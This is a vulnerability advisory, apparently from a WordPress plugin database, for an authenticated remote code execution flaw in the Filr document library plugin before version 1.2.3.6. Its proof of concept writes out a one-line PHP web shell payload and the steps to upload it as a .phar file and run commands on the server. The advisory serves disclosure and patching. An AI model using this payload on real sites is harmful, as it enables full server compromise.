WordPress Plugin Vulnerabilities

Filr – Secure document library < 1.2.3.6 - Author+ RCE via file upload with phar ext

Description

The plugin is vulnerable from an RCE (Remote Code Execution) vulnerability, which allows the operating system to execute commands and fully compromise the server on behalf of a user with Author-level privileges.

Proof of Concept

1) Go to main dashboard of plugin http://your_site/wordpress/wp-admin/edit.php?post_type=filr
2) Add new File
3) Upload file with extention "phar" and malicious code inside, like <?php system($_GET['cmd]'); ?>
4) Go to http://your_site/wordpress/wp-content/uploads/filr/{number_of_post}/cmd.phar?cmd=ps+aux (or pwd or id) and do RCE

Affects Plugins

Fixed in 1.2.3.6

References

Classification

Type
RCE
OWASP top 10
CWE

Miscellaneous

Original Researcher
Dmtirii Ignatyev
Submitter
Dmtirii Ignatyev
Submitter website
Verified
Yes

Timeline

Publicly Published
2023-11-13 (about 6 months ago)
Added
2023-11-13 (about 6 months ago)
Last Updated
2023-11-13 (about 6 months ago)

Other